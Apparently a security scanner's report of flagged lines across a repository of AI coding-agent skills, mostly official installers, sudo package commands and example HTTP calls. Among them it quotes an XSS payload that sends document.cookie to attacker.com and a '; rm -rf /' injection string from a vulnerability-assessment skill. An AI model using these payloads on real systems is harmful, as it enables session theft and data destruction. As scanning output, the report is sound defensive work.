    # ❌ Old style import requests s = requests.Session()
  • Network accessline 273
    import requests s = requests.Session() try:
  • Network accessline 274
    s = requests.Session()
  • Network accessline 275
    try:     response = s.get('https://api.example.com') finally:
  • Network accessline 276
    response = s.get('https://api.example.com')
  • Network accessline 280
    # ✅ Modern with requests.Session() as s:
  • Network accessline 281
    with requests.Session() as s:
  • Network accessline 282
    response = s.get('https://api.example.com')

skills/deprecated-api-updater/scripts/detect_deprecated_apis.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/deprecated-api-updater/scripts/replace_deprecated_apis.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/design-smell-detector/scripts/detect_smells.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/directed-test-input-generator/references/llm_patterns.md

  • Dangerous shell operationline 474
    return eval(code)

skills/directed-test-input-generator/scripts/input_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/directed-test-input-generator/scripts/path_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/edge-case-generator/references/python_edge_cases.md

  • Network accessline 487
    with pytest.raises(ConnectionError):             import requests             requests.get("http://example.com")
  • Network accessline 489
    requests.get("http://example.com")

skills/environment-setup-assistant/SKILL.md

  • Network accessline 50
    # Install Homebrew /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Dangerous shell operationline 51
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 51
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 61
    # Install Node.js via nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 62
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 62
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 65
    # Install Docker Desktop echo "Please download Docker Desktop from https://www.docker.com/products/docker-desktop"
  • Network accessline 66
    echo "Please download Docker Desktop from https://www.docker.com/products/docker-desktop"
  • Dangerous shell operationline 98
    # Linux: sudo apt-get install python3.11
  • Dangerous shell operationline 287
    rm -rf venv
  • Network accessline 347
    # Install Node.js via nvm (Node Version Manager) # This allows managing multiple Node.js versions curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 349
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 349
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 397
    # macOS/Linux: Use sudo for system installations
  • Dangerous shell operationline 398
    sudo apt-get install package
  • Dangerous shell operationline 400
    # Avoid sudo for user-level tools
  • Network accessline 439
    if ! command -v brew &> /dev/null; then     echo "📦 Installing Homebrew..."     /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 440
    echo "📦 Installing Homebrew..."     /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" fi
  • Dangerous shell operationline 441
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 441
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 448
    # Install Node.js via nvm echo "📦 Installing Node.js..." curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 449
    echo "📦 Installing Node.js..." curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash export NVM_DIR="$HOME/.nvm"
  • Dangerous shell operationline 450
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 450
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 470
    # Install Docker Desktop echo "📦 Docker Desktop..." echo "Please download from https://www.docker.com/products/docker-desktop"
  • Network accessline 472
    echo "Please download from https://www.docker.com/products/docker-desktop"

skills/environment-setup-assistant/references/platform_instructions.md

  • Dangerous shell operationline 21
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 21
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Dangerous shell operationline 27
    eval "$(/opt/homebrew/bin/brew shellenv)"
  • Network accessline 61
    # Install nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 62
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 62
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 73
    #### Docker Desktop 1. Download from https://www.docker.com/products/docker-desktop
  • Network accessline 74
    1. Download from https://www.docker.com/products/docker-desktop
  • Dangerous shell operationline 92
    eval "$(/opt/homebrew/bin/brew shellenv)"
  • Dangerous shell operationline 114
    sudo apt-get update
  • Dangerous shell operationline 115
    sudo apt-get upgrade -y
  • Dangerous shell operationline 120
    sudo apt-get install -y build-essential curl git wget
  • Network accessline 120
    sudo apt-get install -y build-essential curl git wget
  • Dangerous shell operationline 127
    sudo apt-get install -y git
  • Dangerous shell operationline 137
    sudo apt-get install -y python3.11 python3.11-venv python3-pip
  • Dangerous shell operationline 140
    sudo update-alternatives --install /usr/bin/python python /usr/bin/python3.11 1
  • Dangerous shell operationline 141
    sudo update-alternatives --install /usr/bin/pip pip /usr/bin/pip3 1
  • Network accessline 146
    # Install nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 147
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 147
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 160
    # Install dependencies sudo apt-get install -y ca-certificates curl gnupg lsb-release
  • Dangerous shell operationline 161
    sudo apt-get install -y ca-certificates curl gnupg lsb-release
  • Network accessline 161
    sudo apt-get install -y ca-certificates curl gnupg lsb-release
  • Network accessline 163
    # Add Docker's GPG key sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
  • Dangerous shell operationline 164
    sudo mkdir -p /etc/apt/keyrings
  • Network accessline 164
    sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \   sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Dangerous shell operationline 165
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg |    sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Network accessline 165
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
  • Dangerous shell operationline 166
    sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Dangerous shell operationline 169
    echo    "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg]    https://download.docker.com/linux/ubuntu    $(lsb_release -cs) stable" |    sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
  • Network accessline 169
    echo \   "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \   https://download.docker.com/linux/ubuntu \
  • Network accessline 170
    "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \   https://download.docker.com/linux/ubuntu \   $(lsb_release -cs) stable" | \
  • Network accessline 171
    https://download.docker.com/linux/ubuntu \
  • Dangerous shell operationline 173
    sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
  • Dangerous shell operationline 176
    sudo apt-get update
  • Dangerous shell operationline 177
    sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
  • Dangerous shell operationline 180
    sudo usermod -aG docker $USER
  • Network accessline 187
    # Download and install wget -O code.deb 'https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64'
  • Network accessline 188
    wget -O code.deb 'https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64'
  • Dangerous shell operationline 189
    sudo apt install ./code.deb
  • Dangerous shell operationline 190
    rm code.deb
  • Dangerous shell operationline 229
    sudo apt-get update
  • Dangerous shell operationline 230
    sudo apt-get upgrade -y
  • Network accessline 233
    #### 3. Install Windows Terminal (Optional but Recommended) Install from Microsoft Store: https://aka.ms/terminal
  • Network accessline 234
    Install from Microsoft Store: https://aka.ms/terminal
  • Network accessline 242
    #### Git for Windows 1. Download from https://git-scm.com/download/win
  • Network accessline 243
    1. Download from https://git-scm.com/download/win
  • Network accessline 251
    #### Python 1. Download from https://www.python.org/downloads/
  • Network accessline 252
    1. Download from https://www.python.org/downloads/
  • Network accessline 260
    #### Node.js 1. Download from https://nodejs.org/
  • Network accessline 261
    1. Download from https://nodejs.org/
  • Network accessline 269
    #### Docker Desktop for Windows 1. Download from https://www.docker.com/products/docker-desktop
  • Network accessline 270
    1. Download from https://www.docker.com/products/docker-desktop
  • Network accessline 275
    #### VS Code 1. Download from https://code.visualstudio.com/
  • Network accessline 276
    1. Download from https://code.visualstudio.com/
  • Access to secretsline 324
    [Credential-related source omitted]
  • Access to secretsline 330
    [Credential-related source omitted]

skills/environment-setup-assistant/references/tool_guides.md

  • Dangerous shell operationline 22
    curl https://pyenv.run | bash
  • Network accessline 22
    curl https://pyenv.run | bash
  • Dangerous shell operationline 29
    eval "$(pyenv init -)"
  • Dangerous shell operationline 53
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 53
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 93
    git clone https://github.com/rbenv/rbenv.git ~/.rbenv
  • Network accessline 94
    git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
  • Network accessline 124
    wget -O code.deb 'https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64'
  • Dangerous shell operationline 125
    sudo apt install ./code.deb
  • Network accessline 128
    Windows: Download from https://code.visualstudio.com/
  • Network accessline 165
    **PyCharm (Python)**: - Download: https://www.jetbrains.com/pycharm/download/
  • Network accessline 166
    - Download: https://www.jetbrains.com/pycharm/download/
  • Network accessline 169
    **WebStorm (JavaScript/TypeScript)**: - Download: https://www.jetbrains.com/webstorm/download/
  • Network accessline 170
    - Download: https://www.jetbrains.com/webstorm/download/
  • Network accessline 173
    **IntelliJ IDEA (Java/Kotlin)**: - Download: https://www.jetbrains.com/idea/download/
  • Network accessline 174
    - Download: https://www.jetbrains.com/idea/download/
  • Dangerous shell operationline 193
    sudo apt-get install -y postgresql postgresql-contrib
  • Dangerous shell operationline 194
    sudo systemctl start postgresql
  • Dangerous shell operationline 195
    sudo systemctl enable postgresql
  • Dangerous shell operationline 213
    sudo apt-get install pgadmin4
  • Dangerous shell operationline 228
    sudo apt-get install -y mysql-server
  • Dangerous shell operationline 229
    sudo systemctl start mysql
  • Dangerous shell operationline 230
    sudo systemctl enable mysql
  • Dangerous shell operationline 235
    sudo mysql_secure_installation
  • Dangerous shell operationline 244
    sudo apt-get install mysql-workbench
  • Dangerous shell operationline 260
    wget -qO - https://www.mongodb.org/static/pgp/server-6.0.asc | sudo apt-key add -
  • Network accessline 260
    wget -qO - https://www.mongodb.org/static/pgp/server-6.0.asc | sudo apt-key add -
  • Dangerous shell operationline 261
    echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/6.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-6.0.list
  • Network accessline 261
    echo "deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/6.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-6.0.list
  • Dangerous shell operationline 262
    sudo apt-get update
  • Dangerous shell operationline 263
    sudo apt-get install -y mongodb-org
  • Dangerous shell operationline 264
    sudo systemctl start mongod
  • Network accessline 267
    **GUI Client - MongoDB Compass**: Download from https://www.mongodb.com/products/compass
  • Network accessline 268
    Download from https://www.mongodb.com/products/compass
  • Dangerous shell operationline 282
    sudo apt-get install -y redis-server
  • Dangerous shell operationline 283
    sudo systemctl start redis-server
  • Network accessline 353
    curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
  • Dangerous shell operationline 354
    sudo install minikube-linux-amd64 /usr/local/bin/minikube
  • Network accessline 367
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Dangerous shell operationline 368
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
  • Network accessline 406
    Access at http://localhost:8080
  • Dangerous shell operationline 419
    curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash
  • Network accessline 419
    curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash
  • Dangerous shell operationline 420
    sudo apt-get install gitlab-runner
  • Dangerous shell operationline 425
    sudo gitlab-runner register
  • Network accessline 439
    Download: https://www.postman.com/downloads/
  • Network accessline 448
    Download: https://insomnia.rest/download
  • Dangerous shell operationline 457
    sudo apt-get install httpie
  • Network accessline 459
    # Usage http GET https://api.github.com/users/github
  • Network accessline 460
    http GET https://api.github.com/users/github
  • Dangerous shell operationline 470
    sudo apt-get install jq
  • Network accessline 472
    # Usage curl -s https://api.github.com/users/github | jq '.name'
  • Network accessline 473
    curl -s https://api.github.com/users/github | jq '.name'
  • Dangerous shell operationline 483
    sudo apt-get install tmux
  • Dangerous shell operationline 497
    sudo apt-get install htop
  • Dangerous shell operationline 520
    sudo apt-get install terminator
  • Dangerous shell operationline 525
    sudo apt-get install tilix
  • Network accessline 539
    Set-ExecutionPolicy Bypass -Scope Process -Force [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072 iex ((New-Object System.Net.WebClient).DownloadString('https://community.choc
  • Network accessline 541
    iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

skills/environment-setup-assistant/scripts/setup_docker.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 29
    echo "📦 Installing Docker Desktop for macOS..."         echo "Please download Docker Desktop from:"         echo "https://www.docker.com/products/docker-desktop"
  • Network accessline 30
    echo "Please download Docker Desktop from:"         echo "https://www.docker.com/products/docker-desktop"         echo ""
  • Network accessline 31
    echo "https://www.docker.com/products/docker-desktop"
  • Dangerous shell operationline 40
    sudo apt-get remove -y docker docker-engine docker.io containerd runc || true
  • Dangerous shell operationline 43
    sudo apt-get update
  • Dangerous shell operationline 44
    sudo apt-get install -y \
  • Network accessline 44
    sudo apt-get install -y \             ca-certificates \             curl \
  • Network accessline 45
    ca-certificates \             curl \             gnupg \
  • Network accessline 46
    curl \
  • Dangerous shell operationline 51
    sudo mkdir -p /etc/apt/keyrings
  • Network accessline 51
    sudo mkdir -p /etc/apt/keyrings         curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Dangerous shell operationline 52
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Network accessline 52
    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
  • Dangerous shell operationline 55
    echo            "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu            $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
  • Network accessline 55
    echo \           "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  • Network accessline 56
    "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  • Dangerous shell operationline 57
    $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
  • Dangerous shell operationline 60
    sudo apt-get update
  • Dangerous shell operationline 61
    sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
  • Dangerous shell operationline 64
    sudo usermod -aG docker $USER
  • Network accessline 93
    if ! command -v docker-compose &> /dev/null && [[ "$OS" == "linux" ]]; then     echo "📦 Installing Docker Compose..."     sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /u
  • Network accessline 94
    echo "📦 Installing Docker Compose..."     sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose     sudo chmod +x /usr/local/bin/docker-compose
  • Dangerous shell operationline 95
    sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
  • Network accessline 95
    sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
  • Dangerous shell operationline 96
    sudo chmod +x /usr/local/bin/docker-compose

skills/environment-setup-assistant/scripts/setup_nodejs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 33
    if [ ! -d "$HOME/.nvm" ]; then         echo "Installing nvm..."         curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Dangerous shell operationline 35
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash
  • Network accessline 35
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash

skills/environment-setup-assistant/scripts/setup_python.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 33
    if ! command -v brew &> /dev/null; then             echo "Installing Homebrew..."             /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 34
    echo "Installing Homebrew..."             /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"         fi
  • Dangerous shell operationline 35
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Network accessline 35
    /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  • Dangerous shell operationline 40
    sudo apt-get update
  • Dangerous shell operationline 41
    sudo apt-get install -y python3.11 python3.11-venv python3-pip
  • Network accessline 43
    elif [[ "$OS" == "windows" ]]; then         echo "Please install Python from https://www.python.org/downloads/"
  • Network accessline 44
    echo "Please install Python from https://www.python.org/downloads/"
  • Dangerous shell operationline 75
    sudo apt-get install -y git build-essential

skills/error-explanation-generator/references/debugging_strategies.md

  • Network accessline 419
    # Bad - depends on external service def test():     response = requests.get("https://api.example.com")
  • Network accessline 420
    def test():     response = requests.get("https://api.example.com")     assert response.status_code == 200
  • Network accessline 421
    response = requests.get("https://api.example.com")
  • Network accessline 429
    response = requests.get("https://api.example.com")
  • Network accessline 537
    response = requests.get(url)
  • Network accessline 550
    # Configure test to use proxy export HTTP_PROXY=http://localhost:8080
  • Network accessline 551
    export HTTP_PROXY=http://localhost:8080
  • Network accessline 552
    export HTTPS_PROXY=http://localhost:8080

skills/exploitability-analyzer/SKILL.md

  • Access to secretsline 305
    [Credential-related source omitted]
  • Network accessline 318
    GET /search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

skills/exploitability-analyzer/references/assessment_criteria.md

  • Dangerous shell operationline 184
    **Exploit**: `; rm -rf /` executes arbitrary commands

skills/flaky-test-detector/SKILL.md

  • Network accessline 62
    **External dependencies:** - `requests.get()`, `http.client` - Real network calls
  • Network accessline 63
    - `requests.get()`, `http.client` - Real network calls
  • Network accessline 211
    MEDIUM PRIORITY: - test_api_call (flakiness: 0.62)   - Line 23: requests.get() - unmocked network call
  • Network accessline 213
    - Line 23: requests.get() - unmocked network call

skills/flaky-test-detector/references/flaky-patterns.md

  • Network accessline 109
    # Flaky - depends on network and external service def test_api():     response = requests.get('https://api.example.com/data')
  • Network accessline 110
    def test_api():     response = requests.get('https://api.example.com/data')     assert response.status_code == 200
  • Network accessline 111
    response = requests.get('https://api.example.com/data')
  • Network accessline 115
    def test_api(mocker):     mocker.patch('requests.get', return_value=Mock(status_code=200))     response = requests.get('https://api.example.com/data')
  • Network accessline 116
    mocker.patch('requests.get', return_value=Mock(status_code=200))     response = requests.get('https://api.example.com/data')     assert response.status_code == 200
  • Network accessline 117
    response = requests.get('https://api.example.com/data')
  • Access to secretsline 265
    [Credential-related source omitted]
  • Access to secretsline 269
    [Credential-related source omitted]
  • Access to secretsline 270
    [Credential-related source omitted]

skills/flaky-test-detector/references/remediation-strategies.md

  • Network accessline 195
    # Before def test_fetch_data():     response = requests.get("https://api.example.com/data")
  • Network accessline 196
    def test_fetch_data():     response = requests.get("https://api.example.com/data")     assert response.status_code == 200
  • Network accessline 197
    response = requests.get("https://api.example.com/data")
  • Network accessline 207
    response = requests.get("https://api.example.com/data")
  • Network accessline 214
    @Test public void testFetchData() {     Response response = httpClient.get("https://api.example.com/data");
  • Network accessline 215
    public void testFetchData() {     Response response = httpClient.get("https://api.example.com/data");     assertEquals(200, response.getStatusCode());
  • Network accessline 216
    Response response = httpClient.get("https://api.example.com/data");
  • Network accessline 227
    Response response = httpClient.get("https://api.example.com/data");

skills/flaky-test-detector/scripts/analyze_test_results.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/framework-migration-assistant/assets/example_fastapi_app.py

  • Executable scriptline 1
    Executable file

skills/framework-migration-assistant/assets/example_flask_app.py

  • Executable scriptline 1
    Executable file

skills/framework-migration-assistant/scripts/migrate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/framework-migration-assistant/scripts/migrate_config.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]

skills/framework-migration-assistant/scripts/migrate_dependencies.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/framework-migration-assistant/scripts/migrate_routes.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/framework-migration-assistant/scripts/migrate_tests.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/frontend-ui-ux/SKILL.md

  • Network accessline 65
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) frontend-ui-ux skill

skills/fuzzing-input-generator/references/fuzzing-patterns.md

  • Possible obfuscationline 375
    b'\xFF\xFF\xFF\xFF'
  • Possible obfuscationline 376
    b'\x80\x80\x80\x80'

skills/git-bisect-assistant/scripts/git_bisect_runner.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/git-master/SKILL.md

  • Network accessline 1013
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) git-master skill

skills/github-triage/SKILL.md

  • Network accessline 347
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) github-triage skill

skills/imperative-to-coq-model-extractor/SKILL.md

  • Network accessline 417
    - **Extraction patterns:** See [extraction_patterns.md](references/extraction_patterns.md) for comprehensive pattern catalog - **Coq documentation:** https://coq.inria.fr/documentation
  • Network accessline 418
    - **Coq documentation:** https://coq.inria.fr/documentation
  • Network accessline 419
    - **Software Foundations:** https://softwarefoundations.cis.upenn.edu/
  • Network accessline 420
    - **Coq standard library:** https://coq.inria.fr/library/

skills/incremental-python-programmer/scripts/analyze_repo_structure.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/init-deep/SKILL.md

  • Network accessline 109
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) /init-deep command

skills/integration-test-generator/SKILL.md

  • Network accessline 138
    responses.add(         responses.POST,         "https://api.payment.com/charge",
  • Network accessline 139
    responses.POST,         "https://api.payment.com/charge",         json={"transaction_id": "txn_123", "status": "success"},
  • Network accessline 140
    "https://api.payment.com/charge",

skills/integration-test-generator/references/patterns.md

  • Network accessline 15
    @pytest.fixture     def base_url(self):         return "http://localhost:8000"
  • Network accessline 17
    return "http://localhost:8000"
  • Network accessline 22
    # Setup         user_data = {"username": "testuser", "email": "test@example.com"}         response = requests.post(f"{base_url}/users", json=user_data)
  • Network accessline 23
    user_data = {"username": "testuser", "email": "test@example.com"}         response = requests.post(f"{base_url}/users", json=user_data)         user_id = response.json()["id"]
  • Network accessline 24
    response = requests.post(f"{base_url}/users", json=user_data)
  • Network accessline 29
    # Cleanup         requests.delete(f"{base_url}/users/{user_id}")
  • Network accessline 30
    requests.delete(f"{base_url}/users/{user_id}")
  • Network accessline 41
    # Act         response = requests.post(f"{base_url}/orders", json=order_data)
  • Network accessline 42
    response = requests.post(f"{base_url}/orders", json=order_data)
  • Network accessline 50
    # Assert - verify user's order list updated         user_response = requests.get(f"{base_url}/users/{test_user}/orders")
  • Network accessline 51
    user_response = requests.get(f"{base_url}/users/{test_user}/orders")
  • Network accessline 67
    @pytest.fixture     def gql_client(self):         transport = RequestsHTTPTransport(url="http://localhost:4000/graphql")
  • Network accessline 68
    def gql_client(self):         transport = RequestsHTTPTransport(url="http://localhost:4000/graphql")         return Client(transport=transport, fetch_schema_from_transport=True)
  • Network accessline 69
    transport = RequestsHTTPTransport(url="http://localhost:4000/graphql")
  • Network accessline 344
    responses.add(             responses.POST,             "https://api.payment-gateway.com/charge",
  • Network accessline 345
    responses.POST,             "https://api.payment-gateway.com/charge",             json={"transaction_id": "txn_123", "status": "success"},
  • Network accessline 346
    "https://api.payment-gateway.com/charge",
  • Network accessline 352
    responses.add(             responses.POST,             "https://api.email-service.com/send",
  • Network accessline 353
    responses.POST,             "https://api.email-service.com/send",             json={"message_id": "msg_456"},
  • Network accessline 354
    "https://api.email-service.com/send",

skills/interface-contract-verifier/scripts/contract_extractor.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interface-contract-verifier/scripts/contract_verifier.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interface-specification-generator/assets/openapi-template.yaml

  • Network accessline 8
    email: support@example.com servers:   - url: https://api.example.com/v1
  • Network accessline 9
    servers:   - url: https://api.example.com/v1     description: Production server
  • Network accessline 10
    - url: https://api.example.com/v1
  • Network accessline 11
    description: Production server   - url: https://staging-api.example.com/v1     description: Staging server
  • Network accessline 12
    - url: https://staging-api.example.com/v1

skills/interface-specification-generator/references/openapi-patterns.md

  • Network accessline 380
    flows:         authorizationCode:           authorizationUrl: https://example.com/oauth/authorize
  • Network accessline 381
    authorizationCode:           authorizationUrl: https://example.com/oauth/authorize           tokenUrl: https://example.com/oauth/token
  • Network accessline 382
    authorizationUrl: https://example.com/oauth/authorize
  • Network accessline 383
    tokenUrl: https://example.com/oauth/token
  • Network accessline 564
    servers:   - url: https://api.example.com/v1
  • Network accessline 565
    - url: https://api.example.com/v1
  • Network accessline 566
    - url: https://api.example.com/v2

skills/interface-specification-generator/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interface-specification-generator/scripts/validate_openapi.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interval-difference-analyzer/references/abstract_interpretation.md

  • Dangerous shell operationline 230
    abstract_state[x] = eval(e, abstract_state)

skills/interval-difference-analyzer/scripts/compare_intervals.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interval-difference-analyzer/scripts/interval_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interval-profiling-performance-analyzer/SKILL.md

  • Dangerous shell operationline 176
    sudo apt-get install linux-tools-generic

skills/interval-profiling-performance-analyzer/references/profiling-tools.md

  • Dangerous shell operationline 98
    **Installation:** `sudo apt-get install linux-tools-generic`
  • Dangerous shell operationline 126
    **Installation:** `sudo apt-get install valgrind`
  • Dangerous shell operationline 165
    4. **Disable frequency scaling:** `sudo cpupower frequency-set --governor performance`

skills/interval-profiling-performance-analyzer/scripts/generate_visualization.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interval-profiling-performance-analyzer/scripts/profile_cpp.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 38
    print("Error: perf not found. Install with: sudo apt-get install linux-tools-generic")
  • Dangerous shell operationline 103
    print("Error: gprof not found. Install with: sudo apt-get install binutils")

skills/interval-profiling-performance-analyzer/scripts/profile_java.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/interval-profiling-performance-analyzer/scripts/profile_python.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 35
    exec(code, script_globals)
  • Network accessline 64
    'total_time': tt,             'cumulative_time': ct,             'time_per_call': tt / nc if nc > 0 else 0,
  • Network accessline 65
    'cumulative_time': ct,             'time_per_call': tt / nc if nc > 0 else 0,         })
  • Network accessline 66
    'time_per_call': tt / nc if nc > 0 else 0,

skills/issue-report-generator/SKILL.md

  • Network accessline 375
    ## Steps to Reproduce 1. Run test: `pytest tests/test_api.py::ApiTest::test_get_user_endpoint` 2. Or make request: `GET http://localhost:8000/api/users`
  • Network accessline 376
    1. Run test: `pytest tests/test_api.py::ApiTest::test_get_user_endpoint 2. Or make request: `GET http://localhost:8000/api/users
  • Network accessline 377
    2. Or make request: `GET http://localhost:8000/api/users`
  • Network accessline 490
